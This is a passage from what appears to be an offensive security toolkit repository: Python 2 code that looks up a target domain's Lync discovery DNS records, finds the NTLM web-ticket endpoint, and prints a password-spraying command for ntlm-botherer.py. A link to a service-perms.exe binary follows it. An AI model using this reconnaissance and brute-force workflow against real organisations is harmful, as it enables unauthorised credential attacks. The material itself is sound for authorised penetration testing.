= '' 33 | my_resolver = dns.resolver.Resolver() 34 | my_resolver.nameservers = ['8.8.8.8'] 35 | 36 | try: 37 | lyncdiscoverinternalfull = my_resolver.query("lyncdiscoverinternal."+domainsuffix) 38 | lyncdiscoverinternal = lyncdiscoverinternalfull.response 39 | print lyncdiscoverinternal 40 | print "\033[0;32m[+] Successfully resolved DNS (lyncdiscoverinternal): "+lyncdiscoverinternal+"\033[0m" 41 | except: 42 | print "\033[0;31m[-] Could not resolve DNS: "+"lyncdiscoverinternal."+domainsuffix+"\033[0m" 43 | 44 | try: 45 | lyncdiscoverfull = my_resolver.query("lyncdiscover."+domainsuffix) 46 | lyncdiscover = lyncdiscoverfull.response 47 | print "\033[0;32m[+] Successfully resolved DNS (lyncdiscover): "+lyncdiscover+"\033[0m\n" 48 | except: 49 | print "\033[0;31m[-] Could not resolve DNS: "+"lyncdiscover."+domainsuffix+"\033[0m\n" 50 | 51 | if lyncdiscoverinternal: 52 | try: 53 | response = urlopen("http://lyncdiscoverinternal."+domainsuffix, timeout=2) 54 | except: 55 | print "Trying HTTPS" 56 | try: 57 | response = urlopen("https://lyncdiscoverinternal."+domainsuffix, timeout=2) 58 | except: 59 | print "\033[0;31m[-] Failed to find NTLM webpage for lyncdiscoverinternal\033[0m" 60 | 61 | lyncntlm=decoderesponse(response) 62 | if lyncntlm: 63 | print "\033[0;32m[+] Found NTLM webpage for lyncdiscoverinternal\033[0m" 64 | print "\033[0;32m[+] NTLM URL for brute-forcing is: "+lyncntlm+domainsuffix+"/WebTicket/WebTicketService.svc\033[0m" 65 | print "\n[+] Now use: \n\033[0;32mntlm-botherer.py -U users.txt -p Password1 -d "+lyncntlm+domainsuffix+"/WebTicket/WebTicketService.svc\033[0m" 66 | 67 | if lyncdiscover: 68 | try: 69 | response = urlopen("http://lyncdiscover."+domainsuffix, timeout=2) 70 | except: 71 | pass 72 | try: 73 | response = urlopen("https://lyncdiscover."+domainsuffix, timeout=2) 74 | except: 75 | print "\033[0;31m[-] Failed to find NTLM webpage for lyncdiscover\033[0m" 76 | lyncntlm=decoderesponse(response) 77 | if lyncntlm: 78 | print "\033[0;32m[+] Found NTLM webpage for lyncdiscover\033[0m" 79 | print "\033[0;32m[+] NTLM URL for brute-forcing is: "+lyncntlm+domainsuffix+"/WebTicket/WebTicketService.svc\033[0m" 80 | print "\n[+] Now use: \n\033[0;32mntlm-botherer.py -U users.txt -p Password1 -d "+lyncntlm+domainsuffix+"/WebTicket/WebTicketService.svc\033[0m" 81 | 82 | -------------------------------------------------------------------------------- /service-perms.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/benpturner/h00k/5fb9aa6c91e875ab4c85539cb56365c3173397f7/service-perms.exe --------------------------------------------------------------------------------